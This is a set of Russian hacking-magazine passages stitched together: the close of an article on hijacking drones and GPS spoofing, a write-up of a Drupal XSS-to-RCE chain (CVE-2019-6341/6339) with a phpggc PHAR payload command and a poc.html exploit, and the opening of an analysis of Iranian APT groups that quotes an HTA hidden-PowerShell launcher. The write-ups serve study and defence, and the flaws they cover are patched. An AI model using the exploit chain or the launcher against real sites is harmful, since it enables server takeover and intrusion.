токо лам DSM2/DSMX или SLT без вся ких смар тфо нов? Мож но ли перех ватить
управле ние, ска жем, про дук цией DJI?

Тут, как любят говорить некото рые девуш ки, все слож но. Во‐пер вых, про‐ 
изво дите ли  ста рают ся  шиф ровать ся  не  толь ко  в  пря мом  смыс ле,  но  и
в перенос ном, нап ример сти рают мар киров ку со смон тирован ных в при емни‐ 
ках и передат чиках мик росхем, хотя зна токам и так прек расно извес тно, какие
чипы  там исполь зуют ся. Во‐вто рых, даже нес мотря на  то,  что все подоб ные
тран смит теры  работа ют  с  кон крет ным  набором  час тот,  час тота  сме няет ся
авто мати чес ки  с  интерва лом  в  две  мил лисекун ды,  то  есть  каж дую  секун ду
коп тер  перехо дит  с  одной  час тоты  на  дру гую при мер но 500 раз. В‐треть их,
все  переда ваемые по  управля юще му  каналу  коман ды  сме шива ются  с  псев‐ 
дослу чай ными  дан ными,  поэто му,  даже  «услы шав»  в  эфи ре  сиг нал  такого
бес пилот ника, под менить его будет очень неп росто.

То есть в теории это, конеч но, воз можно: нуж но сдам пить про шив ку дро на,
дизас сем бли ровать  ее,  выяс нить  алго ритм,  по  которо му  про исхо дит  сме на
час тот и генера ция циф рового «шума», пос ле чего написать эму лятор… Мож‐ 
но еще исполь зовать  уяз вимос ти в про токо лах,  если  таковые  удас тся обна‐ 
ружить. Наибо лее пер спек тивен с  этой  точ ки  зре ния про токол MAVlink,  пос‐ 
коль ку  для  него  дос тупны  исходни ки  (за  исклю чени ем  проп риетар ных  ком‐ 
понен тов)  и  целый  ворох  докумен тации.  Толь ко  вот  зат раты  сил  и  нер вов
в этом слу чае могут быть несо изме римы с получен ным резуль татом.

Ес ли основная задача — не украсть коп тер, а прос то пре дот вра тить его полет
над  опре делен ной  геог рафичес кой  точ кой,  спец служ бы  уже  дав но  исполь‐ 
зуют более прос тые методы ее решения вро де GPS‐спу фин га. При мене нием
имен но  этой  тех нологии  объ ясня ется  феномен  перенап равле ния  поль‐ 
зовате лей GPS‐навига торов в аэро порт Шереметь ево, ког да те ока зыва ются
вбли зи Крем ля. Исполь зуемые для GPS‐спу фин га  устрой ства  глу шат  сиг нал
навига цион ных  спут ников и  переда ют  в  эфир собс твен ный сиг нал,  тран сли‐ 
рующий  на  при нима ющее  устрой ство  лож ные  коор динаты.  Из‐за  это го
устрой ство  счи тает,  буд то  оно  находит ся  в  рай оне  бли жай шего  аэро пор та.
Рас чет дела ется на то, что в про шив ку боль шинс тва дро нов заложен зап рет
на  полеты  над  граж дан ски ми  воз душны ми  гаваня ми  —  при  приб лижении
к аэро пор ту дрон авто мати чес ки при зем ляет ся или стре мит ся обле теть его.

По замыс лу спец служб эта мера дол жна надеж но защитить осо бо важ ных
пер сон  от  неожи дан ной  ата ки  с  воз духа.  И  подоб ные  опа сения,  сле дует
отме тить,  не  лишены осно ваний:  нап ример,  в  прош лом  году  для  покуше ния
(неудав шегося) на пре зиден та Венесу элы Никола са Мадуро зло умыш ленни ки
начини ли взрыв чаткой бес пилот ник. А в Сирии боеви ки уже дав но исполь зуют
дешевые дро ны для атак на объ екты воен ной инфраструк туры. С дру гой сто‐ 
роны, в том же Гат вике коп теры зло умыш ленни ков часами летали над взлет‐ 
но‐посадоч ными  полоса ми  и  рулеж ными  дорож ками  и  при  этом  прек расно
себя чувс тво вали…

При меча тель но,  что  сто имость  прог рамми руемых  ради опе редат чиков,
с  помощью  которых  мож но  заг лушить  или  под делать  GPS‐сиг нал,  сегод ня
отно ситель но невели ка и сос тавля ет все го лишь нес коль ко сотен дол ларов,
а купить все необ ходимое мож но в интерне те. Тем более даже для «про фес‐ 
сиональ ных»  коп теров  чрез мерно  мощ ные  глу шил ки  совер шенно  излишни:
извес тны  слу чаи,  ког да  боль шие  дро ны  вро де  Phantom  «терялись»  вбли зи
антенн  базовых  стан ций  мобиль ных  опе рато ров  или  высоко воль тных  линий
ЛЭП. Если коп тер попадет в зону дей ствия подоб ной глу шил ки, он с боль шой
долей веро ятности нач нет дрей фовать по вет ру,  а из‐за отсутс твия сиг нала
с  навига цион ных  спут ников  не  смо жет  пра виль но  опре делить  свое  текущее
мес тополо жение,  что бы  вер нуть ся  в  точ ку  вылета.  Даль ше,  как  говорит ся,
воз можны вари анты.

ВЫВОДЫ
Так мож но ли все‐таки угнать дрон? Как видим, мож но, тех ничес ки для это го
не  сущес тву ет  неп реодо лимых  прег рад.  Одна ко  все  зависит,  конеч но,
от самого устрой ства, от исполь зуемо го им ПО и про токо лов переда чи дан‐ 
ных. Как бы то ни было, сре ди всех высоко тех нологич ных ухищ рений обыч ная
рогат ка зачас тую ока зыва ется нам ного более эффектив ной в борь бе с  коп‐ 
терами — нуж но лишь подоб рать пра виль ный с аэро дина мичес кой точ ки зре‐ 
ния булыж ник.

mailto:valentin@holmogorov.ru
https://xakep.ru/2019/01/22/mirai/
https://www.aircrack-ng.org/
https://youtu.be/EHKV01YQX_w
https://github.com/felixge/node-ar-drone
https://youtu.be/B5ilvkN8X1M
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В  этой  статье  я  рас ска жу  о  двух  уяз вимос тях  в  популяр ной
CMS Drupal. Одна из них свя зана с архи вами PHAR, не осо‐ 
бен но страш на и работа ет толь ко с пра вами адми на, но если
под клю чить дру гую (XSS), то такой дуэт ста новит ся уже очень
опас ным  для  любого  сай та  на  незапат ченном  Drupal.  Мы
под робно раз берем, как работа ют обе и отку да они взя лись.

Итак, инте рес ный слу чай XSS свя зан с тем, что раз работ чики не учли отдель‐ 
ные осо бен ности работы некото рых фун кций PHP с кодиров кой UTF‐8. Из‐за
осо бен ностей  работы    ата кующий  может  заг рузить  файл,
содер жащий  HTML/JS‐код,  при  перехо де  на  который  он  будет  выпол нен
в кон тек сте бра узе ра поль зовате ля.

preg_replace

INFO

Эта  уяз вимость  получи ла  номер  ,
ее  обна ружил  Сэм  Томас  (Sam  Thomas).
Под  угро зой  ока зались  все  вер сии  вет ки  Drupal
8.6  до  8.6.13,  Drupal  8.5  до  8.5.14  и  Drupal
7 до 7.65.

CVE‐2019‐6341

Вто рая уяз вимость — unserialize при помощи архи ва PHAR. Отсутс твие про‐ 
вер ки пути до вре мен ной дирек тории дает воз можность исполь зовать врап‐ 
пер  . В кон це прош лого года я 

  в  форуме  phpBB.  В  Drupal  тоже  есть  воз‐ 
можность  заг рузки  фай лов  и  ата кующий  может  заг рузить  кар тинку,  содер‐ 
жащую полез ную наг рузку. Затем ука зать путь до нее в  качес тве вре мен ной
дирек тории,  исполь зуя  поток  ,  что  при ведет  к  выпол нению  про изволь‐ 
ного кода.

phar:// рас ска зывал об экс плу ата ции десери‐ 
али зации  через  архи вы  PHAR

phar

INFO

Речь  идет  о  .  Ей  под верже ны  все
вер сии  Drupal  8.6  ниже  8.6.6,  Drupal
8.5 ниже 8.5.9 и Drupal 7 ниже 7.62. Уяз вимость
была най дена Гре гом Кнад дисоном (Greg Knaddi‐
son)  из  Drupal  Security  Team  и  Сэмом  Томасом
(Sam Thomas).
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СТЕНД
Что бы  вос про извести  уяз вимость,  нам понадо бят ся  два  кон тей нера Docker.
Пер вый — для сер вера базы дан ных.

$ docker run ‐d ‐e MYSQL_USER="drupal" ‐e MYSQL_PASSWORD="6zbd9Ilfka"
‐e MYSQL_DATABASE="drupal" ‐‐rm ‐‐name=mysql ‐‐hostname=mysql mysql/

mysql‐server:5.7

Вто рой  —  офи циаль ный,  от  раз работ чиков  Drupal,  с  пос ледней  уяз вимой
к обо им багам вер сией — 8.6.5.

$ docker run ‐d ‐‐rm ‐p80:80 ‐‐link=mysql ‐‐name=drupalvh ‐‐hostname=
drupalvh drupal:8.6.5

Те перь нуж но прой ти нес ложную про цеду ру инстал ляции.

Ус танов ка Drupal 8.6.5

Ес ли  тре бует ся  отладка,  то  я  по‐преж нему  рекомен дую  исполь зовать 
 и рас ширение   для бра узе ра. Эта связ ка работа ет быс тро

и ста биль но. Что бы иметь воз можность дебага,  я допол нитель но  уста нов лю
PHP‐рас ширение Xdebug.

Php‐
Storm Xdebug helper

$ docker exec ‐ti drupalvh /bin/bash
$ pecl install xdebug‐2.6.1
$ echo "zend_extension=/usr/local/lib/php/extensions/
no‐debug‐non‐zts‐20170718/xdebug.so" > /usr/local/etc/php/conf.d/
php‐xdebug.ini
$ echo "xdebug.remote_enable=1" >> /usr/local/etc/php/conf.d/
php‐xdebug.ini
$ echo "xdebug.remote_host=192.168.99.1" >> /usr/local/etc/php/conf.
d/php‐xdebug.ini
$ service apache2 reload

Не забудь поменять IP‐адрес 192.168.99.1 на свой и обра ти вни мание на путь
до ском пилиро ван ной биб лиоте ки  . Далее нуж но 

, и пос ле перезаг рузки кон фигов Apache мож но запус кать отладчик.
xdebug.so ска чать исходни‐ 

ки Drupal
Пос ле  завер шения  уста нов ки  CMS  необ ходимо  будет  соз дать  тес товую

стра ницу или запись.

Соз дание тес товой записи в Drupal

По мимо  это го,  для  тес тирова ния  XSS  понадо бит ся  любой  поль зователь,
который  смо жет  заг ружать  фай лы  и  оставлять  ком мента рии.  В  дефол тной
инстал ляции это мож но делать пос ле про хож дения регис тра ции. Как вари ант,
можешь прос то соз дать юзе ра в админке.

ПУТЬ К XSS
Нач нем  с  меж сай тового  скрип тинга.  У  поль зовате лей  Drupal  есть  воз‐ 
можность ком менти ровать записи. И, как и в любой сов ремен ной CMS, в ком‐ 
мента риях  мож но  исполь зовать  базовую  раз метку.  Фун кция,  которая  нам
инте рес на, — это добав ление кар тинок.

До бав ление кар тинок в фор ме ком менти рова ния записи в Drupal

При чем  кар тинка  заг ружа ется  с  компь юте ра  поль зовате ля.  Име на  заг ружа‐ 
емых фай лов могут пред став лять опас ность, одна из пос ледних 

 тому при мер.
уяз вимос тей

в WordPress
За  сох ранение  заг ружен ных  фай лов  отве чает  фун кция 

.
_file_save_u‐

pload_single

core/modules/file/file.module
function _file_save_upload_single(\SplFileInfo $file_info, $form_f
ield_name, $validators = [], $destination = FALSE, $replace = FILE_E
XISTS_RENAME) {
 ...
 $file‐>destination = file_destination($destination . $file‐>getFil

ename(), $replace);

Об рати  вни мание  на  аргу мент  .  Он  отве чает  за  ситу ацию,  ког да
в дирек тории уже при сутс тву ет файл с таким же име нем, как у заг ружа емо го.
По дефол ту новый файл пере име новы вает ся.

$replace

core/includes/file.inc
function file_destination($destination, $replace) {
 if (file_exists($destination)) {
   switch ($replace) {
     ...
     case FILE_EXISTS_RENAME:
       $basename = drupal_basename($destination);
       $directory = drupal_dirname($destination);
       $destination = file_create_filename($basename, $directory);
       ...
 return $destination;

Фун кция    генери рует  новое  имя  для  заг ружа емо го
фай ла.  Но  перед  этим  про изво дит ся  санити зация  наз вания.  Уби рают ся  все
нежела тель ные сим волы.

file_create_filename

core/includes/file.inc
function file_create_filename($basename, $directory) {
 ...
 $basename = preg_replace('/[\x00‐\x1F]/u', '_', $basename);
 if (substr(PHP_OS, 0, 3) == 'WIN') {
   // These characters are not allowed in Windows filenames
   $basename = str_replace([':', '*', '?', '"', '<', '>', '|'], '_',
$basename);
 }

Фун кция   заменя ет на сим вол под черки вания  ( ) все сим волы
с ASCII‐кодом до 31 (1F). И все бы ничего, если бы не PCRE‐модифи катор 
(PCRE_UTF8). Он интер пре тиру ет  вход ные дан ные  как  стро ку UTF‐8. Допус‐ 
тимая дли на сим вола UTF‐8 — от одно го до  четырех байт. UTF‐8 спро екти‐ 
рован с уче том обратной сов мести мос ти с набором сим волов ASCII. Поэто му
в диапа зоне одно бай товых кодов (0x00—0x7F) ASCII и UTF‐8 пересе кают ся.

preg_replace _
u

При работе фун кций    с  этой  кодиров кой есть  неболь шая осо бен‐ 
ность: если передан ная стро ка име ет некор рек тный фор мат, то резуль татом
работы будет NULL, а выпол нение кода про дол жится. Об этом чет ко 

 — см. справ ку по модифи като ру  .

preg_*

на писа но
в докумен тации u

Что бы понять, как сде лать стро ку невалид ной, обра тим ся к спе цифи кации
по UTF‐8 —  . Сог ласно это му докумен ту, бай ты  ,  ,   никог‐ 
да не дол жны при сутс тво вать в кор рек тной стро ке в кодиров ке UTF‐8.

RFC 3629 C0 C1 F5‐FF

Спе цифи кация по UTF‐8. Некор рек тные бай ты

Во ору жив шись  этой  информа цией,  я  ,  что бы  про‐ 
верить осо бен ность обра бот ки невалид ных строк.

на кидал  тес товый  скрипт

test.php
<?php
$basename = "a\xFFnything";
print("Before: ".$basename.PHP_EOL);
$basename = preg_replace('/[\x00‐\x1F]/u', '_', $basename);
print("After: ".array_flip(get_defined_constants(true)['pcre'])[
preg_last_error()]);

Осо бен ность обра бот ки некор рек тных строк UTF‐8 фун кци ей
preg_replace

Те перь пос мотрим, что про изой дет, ког да мы переда дим некор рек тную стро‐ 
ку UTF‐8. Для это го нам нуж но сна чала заг рузить файл с кодом сим вола 
в  качес тве  наз вания  и  одним  из  раз решен ных  рас ширений,  я  исполь зовал

.

\xFF

png

Заг рузка фай ла, содер жащего сим волы UTF‐8

Я пос тавил брейк‐пой нт на фун кцию   и пов торил зап‐ 
рос.  В  самом  начале  про исхо дит  вызов  ,  пос ле  которо го
перемен ная   ста новит ся  .

file_create_filename
preg_replace

$basename null

Пов торная заг рузка фай ла, содер жащего те же сим волы UTF‐8

core/includes/file.inc
// A URI or path may already have a trailing slash or look like 
"public://"
if (substr($directory, ‐1) == '/') {
 $separator = '';

}
else {
 $separator = '/';

}

$destination = $directory . $separator . $basename;

Даль ше  фор миру ется  пол ный  путь  до  заг ружен ного  фай ла  ( ),
а  так  как    у  нас  пус тая,  то  путь  будет  ука зывать  прос то  на  пап ку
с  заг ружен ными фай лами. Разуме ется,  эта дирек тория  сущес тву ет,  поэто му
даль ше мы попада ем в тело усло вия.

$destination
$basename

Фор мирова ние пути, по которо му будет сох ранен заг ружен ный файл

core/includes/file.inc
if (file_exists($destination)) {

Тут к име ни фай ла добав ляет ся суф фикс, по сути, это прос то счет чик.

core/includes/file.inc
// Destination file already exists, generate an alternative
 $pos = strrpos($basename, '.');
 if ($pos !== FALSE) {
   $name = substr($basename, 0, $pos);
   $ext = substr($basename, $pos);
 }
 else {
   $name = $basename;
   $ext = '';
 }

 $counter = 0;
 do {
   $destination = $directory . $separator . $name . '_' . $counter++
. $ext;
 } while (file_exists($destination));

}

До бав ление суф фикса к име ни заг ружа емо го фай ла

Продолжение статьи →

https://twitter.com/iamsecurity
https://nvd.nist.gov/vuln/detail/CVE-2019-6341
https://xakep.ru/2018/12/18/phar-phpbb/
https://nvd.nist.gov/vuln/detail/CVE-2019-6339
https://www.jetbrains.com/phpstorm/
https://chrome.google.com/webstore/detail/xdebug-helper/eadndfjplgieldjbigjakmdgkmoaaaoc
https://ftp.drupal.org/files/projects/drupal-8.6.5.zip
https://xakep.ru/2019/03/11/wp-image-rce/
https://www.php.net/manual/ru/reference.pcre.pattern.modifiers.php
https://tools.ietf.org/html/rfc3629#page2
https://3v4l.org/EfiFs


КОМБО ДЛЯ DRUPAL
КАК ЗАХВАТИТЬ САЙТ С DRUPAL, ИСПОЛЬЗУЯ

НОВЫЕ УЯЗВИМОСТИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

В ито ге получа ется путь 
. По нему и сох раня ется содер жимое фай ла.

/var/www/html/sites/default/files/inline‐im‐
ages/_0

Со дер жимое заг ружен ного фай ла

КАК ЖЕ ЭТО МОЖНО ИСПОЛЬЗОВАТЬ?
Сер вер  воз вра щает  содер жимое  заг ружен ных  фай лов  без  заголов ка 

, а сов ремен ные бра узе ры пыта ются опре делить тип содер жимого
авто мати чес ки.  Такое  поведе ние  и  поз волит  про вес ти  XSS‐ата ку. Для  это го
дос таточ но заг рузить код на JS.

Con‐
tent‐Type

Даль ше  исполь зуем  еще  одну  воз можность  в  ком мента риях  —  ссыл ки.
Фор миру ем ссыл ку на заг ружен ный файл с XSS.

<a href="/sites/default/files/inline‐images/_0" type="text/html">
Click here</a>

Те перь  адми нис тра тору  дос таточ но  перей ти  по  ссыл ке,  и  код  будет  выпол‐ 
нен.

Ус пешная XSS‐ата ка на Drupal 8.6.5

Кста ти,  необя затель но  исполь зовать  заг рузку  кар тинок  через  ком мента рии.
Для тех же целей мож но прис пособить наз начение ава тара в про филе поль‐ 
зовате ля. В этом слу чае путь будет нем ного дру гим: 

.
/sites/default/files/

pictures/<ГГГГ‐ММ>/

ВЫПОЛНЯЕМ ПРОИЗВОЛЬНЫЙ КОД
Да вай  теперь  пос мотрим  на  дру гую  проб лему  —  PHAR‐десери али зацию.
В  панели  адми нис тра тора  есть  раз дел  File  system.  Там мож но  задать  пап ку
для хра нения вре мен ных фай лов (Temporary directory), а так же вре мя их жиз‐ 
ни.

Нас трой ки путей вре мен ных фай лов в Drupal

При сох ранении дан ных фор мы сра баты вает фун кция 
,  которая  про веря ет  сущес тво вание  ука зан ной  дирек тории  и  наличие

необ ходимых прав на нее.

system_check_direc‐
tory

core/modules/system/system.module
function system_check_directory($form_element, FormStateInterface 
$form_state) {
 $directory = $form_element['#value'];
 if (strlen($directory) == 0) {
   return $form_element;
 }

 $logger = \Drupal::logger('file system');
 if (!is_dir($directory) && !drupal_mkdir($directory, NULL, TRUE)) {

Здесь  отсутс тву ет  про вер ка  вве ден ных  дан ных  и  мож но  ука зать  врап пер
  и  путь  до  PHAR‐архи ва  с  полез ной  наг рузкой.  Любая  фун кция,

которая под держи вает работу с потока ми, может триг герить уяз вимость.
phar://

Для  генера ции  я  вос поль зуюсь  клас сной  ути литой  .  В  ней  есть
джентль мен ский набор  гад жетов для популяр ных фрей мвор ков, CMS и раз‐ 
личных биб лиотек. Спи сок пос тоян но попол няет ся.

phpggc

Drupal  исполь зует  биб лиоте ку  Guzzle,  в  которой  есть  извес тная  цепоч ка
гад жетов, ведущая к RCE.

Спи сок дос тупных гад жетов в ути лите phpggc

/drupal-8.6.5/vendor/guzzlehttp/guzzle/CHANGELOG.md
# CHANGELOG

## 6.3.0 ‐ 2017‐06‐22

Вы бира ем гад жет Guzzle/RCE1. Здесь ты сра зу можешь сге нери ровать архив
PHAR, ука зав ключ   и имя архи ва через  .‐p ‐o

./phpggc ‐p phar Guzzle/RCE1 system ls ‐o rce.phar

Да лее пере име новы ваем   в   и заг ружа ем на сер вер как кар‐ 
тинку. Если теперь ука зать путь до фай ла через врап пер PHAR в качес тве вре‐ 
мен ной пап ки, то пей лоад отра бота ет и код выпол нится.

rce.phar rce.png

phar://./sites/default/files/inline‐images/rce.png

Ука зан ный путь попада ет в фун кцию is_dir без какой‐либо филь тра ции

Ус пешная экс плу ата ция RCE в Drupal через PHAR Unserialize

ОБЪЕДИНЯЕМ АТАКИ В ЦЕПОЧКУ
Что бы  получить  окон чатель ный  век тор  ата ки,  нуж но  объ еди нить  XSS  и  RCE
от адми нис тра тора.

Сна чала заг ружа ем архив PHAR с полез ной наг рузкой как PNG и запоми‐ 
наем путь до него. Далее нам понадо бит ся код на JavaScript, который будет
под гру жать  от  адми на  стра ницу  с  нас трой ками  и  отправ лять  фор му.  В  ней
в качес тве   будет ука зан путь до архи ва.file_temporary_path

Скрипт дол жен будет получать ответ от сер вера. Что бы лег че его пар сить,
я помес тил резуль тат работы коман ды   в тег  .ls ‐l <shell>

./phpggc ‐p phar ‐o rce.phar Guzzle/RCE1 system "echo \<shell\>; ls 
‐l; echo \</shell\>"

poc.html
<html>
<head></head>
<body>
   <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/
jquery.min.js" type="text/javascript"></script>
   <script>
       var filepath = 'phar://./sites/default/files/inline‐images/
system.png';
       var form_url = '/admin/config/media/file‐system';
       var form_id = 'system_file_system_settings';
       $.get(form_url, function(data) {
           form_build_id = $(data).find('[name="form_build_id"]').
val();
           var postdata = {
               'file_temporary_path': filepath,
               'form_id': form_id,
               'form_build_id': form_build_id
           }
           $.post(form_url, postdata, function (data) {
               alert($(data).last().text());
               console.log($(data).last().text());
           });
       });
   </script>
</body>
</html>

Заг ружа ем  этот  код  через  пер вую  уяз вимость.  Теперь  оста ется  толь ко  зас‐ 
тавить адми нис тра тора перей ти по нуж ной ссыл ке. Но это уже сов сем дру гая
исто рия.

Экс плу ата ция RCE через XSS

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
В  статье  я  рас смот рел  оче ред ную  инте рес ную  цепоч ку,  ведущую  от  XSS
к RCE. Таких вари антов ата ки в пос леднее вре мя встре чает ся все боль ше.

На  дан ный  момент  обе  уяз вимос ти  были  исправ лены.  Что бы  исклю чить
воз можность  исполь зования  врап пера    и  архи вов  PHAR,  коман да  раз‐ 
работ ки Drupal   кас томные обра бот чики для потоков  .

phar
до бави ла phar://

Патч для уяз вимос ти PHAR Unserialize в Drupal

XSS про дер жалась нем ного доль ше, и   вышел в мар те это го года.
Раз работ чики  добави ли  ком понент  ,  который  име ет  метод 

 для про вер ки стро ки на соот ветс твие стан дартам UTF‐8. Так что сле‐ 
ди за новос тями безопас ности и вов ремя обновляй свои про дук ты!

патч для нее
Unicode valida‐

teUtf8

https://github.com/ambionics/phpggc
https://vimeo.com/343584804
https://github.com/drupal/drupal/commit/fe32f7790e6ebff1ca55397c328c28805bc7315a
https://github.com/drupal/drupal/commit/82307e02cf974d48335e723c93dfe343894e1a61#diff-5c54acb01b2253384cfbebdc696a60e7
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ВЗЛОМ

В  мае‐июне  2019  года  про изош ли  утеч ки
сек ретных  дан ных,  про лива ющие  свет
на недав ние кибера таки неиз вес тных групп.
Сопос тавив  их  с  отче тами  ана лити ков
из  CyberSky,  FireEye,  Cisco  Talos  и  Syman‐
tec, мож но выделить три хакер ские груп пы,
явно  дей ству ющие  в  инте ресах  пра витель‐ 
ства  Ира на.  Они  регуляр но  ата куют  сети
круп ных  ком паний  США  и  их  пар тне ров
на  Ближ нем  Вос токе,  нанося  чувс тви тель‐ 
ный урон про тив нику его же ору жием. Рас‐ 
смот рим  под робнее  их  инс тру мен тарий
и общую стра тегию.

Раз витие наци ональ ных под разде лений информа цион ной безопас ности Ира‐ 
на было прос тимули рова но  агрессив ной полити кой США. Дип ломати чес кие
отно шения  эти  стра ны  офи циаль но  разор вали  с  1980  года.  С  тех  пор  они
дей ству ют  по  пра вилам  необъ явленной  вой ны:  шпи онаж,  регуляр ные  про‐ 
вока ции и дивер сии вмес то откры того про тивос тояния. Интернет сущес твен‐ 
но рас ширил воз можнос ти раз ведки, поз воляя дос тигать пос тавлен ных целей
при минималь ном рис ке.

В 2010 году спец служ бы США и Изра иля про вели сов мес тную опе рацию
про тив ядер ной прог раммы Ира на. Червь Stuxnet получил кон троль над АСУ
ТП и вывел из строя око ло тысячи цен три фуг для обо гаще ния ура на. Это пос‐ 
лужило  мощ ным  сти мулом  для  ответных  дей ствий.  Иран ское  пра витель ство
быс тро осоз нало, что интернет и физичес кий мир ста ли тес но свя заны, а вот
при час тность кон крет ных лиц к ата кам через гло баль ную сеть доказать очень
труд но.

Ес ли  рань ше  иран ская  раз ведка  в  основном  занима лась  ради опе рех‐ 
ватом,  то  пос ле  памят ного  инци ден та  перек лючилась  на  интернет.  Круп ные
рефор мы  начались  в  2011  году.  На  базе Депар тамен та  тех нологий  и  инно‐ 
ваций Минис терс тва информа ции Ира на (MOIS) было соз дано кибер подраз‐ 
деление RANA — ана лог аме рикан ско го USCYBERCOM.

Уже  к  2013  году,  по  оцен кам  изра иль ско го  Инсти тута  иссле дова ний 
  безопас ности,  Иран  обла дал  сущес твен ным  потен циалом,

поз воля ющим про водить кибера таки про тив Изра иля, США, Саудов ской Ара‐ 
вии, Катара и дру гих монар хий Пер сид ско го залива. В 2015  году аме рикан‐ 
ская кор порация Defense Technology в сво ем док ладе называ ет Иран одной
из пяти глав ных угроз кибер безопас ности.

национальной

Си туация  обос три лась  осенью  2017  года,  ког да  Трамп  откры то  саботи‐ 
ровал «ядер ную сдел ку» с Ира ном (JCPOA). Офи циаль ный выход из нее США
сос тоял ся  в  мае  2018  года  —  имен но  тог да  наб людалась  мощ ная  вол на
сетевых атак из Ира на.

По  мне нию  запад ных  ана лити ков,  сей час  иран ские  пра витель ствен ные
хакеры  находят ся  под  непос редс твен ным  кон тро лем  под разде ления  РЭБ
и  информа цион ной  безопас ности  КСИР  (IRGC  JANGAL),  которое  под чиня‐ 
ется  Вер ховно му  совету  по  кибер пространс тву  (Supreme  Council  of  Cyber‐
space)  при  Выс шем  совете  наци ональ ной  безопас ности  (Supreme  Council
of Security).

Так ли это в дей стви тель нос ти — неиз вес тно. Как и любая раз ведка, иран‐ 
ская  час то  рас простра няет  дезин форма цию.  Одна ко  перечис ленные  ниже
груп пы явно дей ству ют в инте ресах ислам ской рес публи ки.

WARNING

Вся  информа ция  в  этой  статье  пре дос тавле на
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный дан ными матери ала ми.

APT33
Эта груп па занима ется кибер шпи она жем как минимум пос ледние шесть лет,
а  с  2017  года  она  при цель но  ата кует  меж дународ ные  ком пании
со штаб‐квар тирами в США, Южной Корее и Саудов ской Ара вии. Основные
цели  —  аэро кос мичес кие,  энер гетичес кие  и  неф техими чес кие  кон церны.
Воз можно,  APT33  так же  извес тна  как  MuddyWater  или  тес но  сот рудни чает
с этой хакер ской груп пой.

На  пер вом  эта пе  груп па  APT33  всег да  исполь зует  тар гетиро ван ный
фишинг.  Сот рудни кам  целевых  ком паний  рас сыла ются  тща тель но  подоб‐ 
ранные  по  темам  и  офор мле нию  элек трон ные  пись ма,  содер жащие  вре‐ 
донос ное  вло жение.  Обыч но  это  при ложе ние  фор мата  HTA  (HTML
Application),  которое  содер жит  JS‐  или  VB‐скрип ты.  Фиш ка  в  том,  что  оно
выпол няет ся в Windows без каких‐либо про верок. Более того, оно не откры‐ 
вает ся  в  бра узе ре,  а  запус кает ся  как  отдель ный  про цесс  через  Microsoft
HTML Application Host и сис темную биб лиоте ку  . Поэто му все нас‐ 
трой ки безопас ности бра узе ра ока зыва ются бес полез ны.

mshtml.dll

Что бы пись ма выг лядели убе дитель но, APT33 зарегис три рова ла нес коль‐ 
ко  доменов  с  име нами,  похожи ми  на  наз вания  ави ацион ных  ком паний
из  Саудов ской  Ара вии  и  их  запад ных  пар тне ров  из  сфе ры  тех ничес кого
обслу жива ния.  Сре ди  них  были  под дель ные  адре са  Boeing,  Northrop Grum‐
man, Alsalam Aircraft, Saudia Aerospace Engineering Industries и их сов мес тных
пред при ятий.

Дос талось  и  граж дан ским  ави аком пани ям.  Под  удар  попали  AirAsia,  Thai
Airways,  Flydubai  и  Etihad  Airways,  которых  ата кова ли  через  пред варитель но
ском про мети рован ные  акка унты  сот рудни ков  по  про токо лам RDP  (Windows)
и ICA (Citrix Remote PC).

Для усып ления бди тель нос ти при откры тии .hta жер тве отоб ражалась акту‐ 
аль ная информа ция по  теме пись ма. Нап ример, реаль ные ссыл ки на вакан‐ 
сии  для  спе циалис тов  опре делен ного  про филя.  Перехо дили  по  ним
или нет — неваж но. Вре донос ные скрип ты тихо выпол нялись до про рисов ки
кон тента, собирая информа цию о компь юте ре жер твы и под готав ливая плац‐ 
дарм для сле дующих эта пов ата ки.

При мер скры того запус ка скрип та в HTA:

<script>
a=new ActiveXObject("WScript.Shell");
a.run('%windir%\\System32\\cmd.exe /c powershell ‐window hidden ‐enc 
<encoded command>' 0);
</script>

Ме тод    объ екта    исполь зует ся  для  запус ка  внеш них  при‐ 
ложе ний  через  сер вер  сце нари ев Windows  (Windows  Script  Host).  В  дан ном
слу чае  запус кает ся  отдель ное  кон соль ное  при ложе ние  со  скры тым  окном,
которое  авто мати чес ки  завер шает ся  пос ле  выпол нения  (ключ  ).  Для  сок‐ 
рытия  дру гого  окна  в  этом  при мере  зада ется  нулевое  зна чение  парамет ра

 (ука зано в кон це скрип та перед зак рыва ющей скоб кой).

run WScript.Shell

/c

intWindowStyle
Ито гом прос мотра вре донос ного пись ма APT33 час то ста новил ся запуск

тро яна‐дроп пера DropShot. В качес тве боевой наг рузки затем исполь зовал ся
бэк дор   — отдель но или вмес те с вай пером ShapeShift, так же извес‐ 
тным  как  .  Он  мог  сти рать  фай лы  опре делен ных  типов,  уда лять
отдель ные раз делы или фор матиро вать накопи тели целиком.

TurnedUp
StoneDrill

В  коде  вай пера  были  обна руже ны  сло ва  на  язы ке  фар си  (офи циаль ный
язык  Ира на).  Еще  более  харак терный  след —  вре мя  про веде ния  атак.  Оно
сов пада ет с лет ним вре менем Ира на (+04:30 UTC) и спе цифи чес кой рабочей
неделей  этой  стра ны  (с  суб боты  по  сре ду).  В  чет верг  государс твен ные
учрежде ния  обыч но  зак рыты.  Допол нитель но  на  Иран  ука зыва ют  исполь‐ 
зован ные в начале атак DNS‐сер веры и тот факт, что все спе цифи чес кие инс‐ 
тру мен ты  (вклю чая  Alfa  Shell)  сна чала  обна ружи вались  на  иран ских  теневых
форумах.

Ес ли успешно ата кован ный компь ютер пред став лял инте рес как плац дарм
для под готов ки даль нейших атак, то вмес то унич тожения дан ных на нем внед‐ 
рялся шелл, в час тнос ти  .Alfa Shell

Ин терфейс Alfa Shell v.2

Этот  мно гофун кци ональ ный  хакер ский  инс тру мент  исполь зовал ся  для  про‐ 
дол жения  ата ки  уже  из  локаль ной  сети  целевой  ком пании.  С  него  отправ‐ 
лялись фишин говые пись ма вышес тоящим сот рудни кам, ска ниро вались пор‐ 
ты, иска лись уяз вимос ти и так далее.

Сос тавле ние фишин гового пись ма из Alfa Shell

Иног да вмес то Alfa Shell на компь ютер жер твы внед рялась извес тная «кры са»
  за  авторс твом  Тей лора  Хадл сто на,  ныне  отбы вающе го  тюрем ный

срок в Хот‐Спрингс. Фун кци ональ ность это го бэк дора рас ширялась пла гина‐ 
ми, а сам он не обна ружи вал ся анти виру сами из‐за того, что его ком понен ты
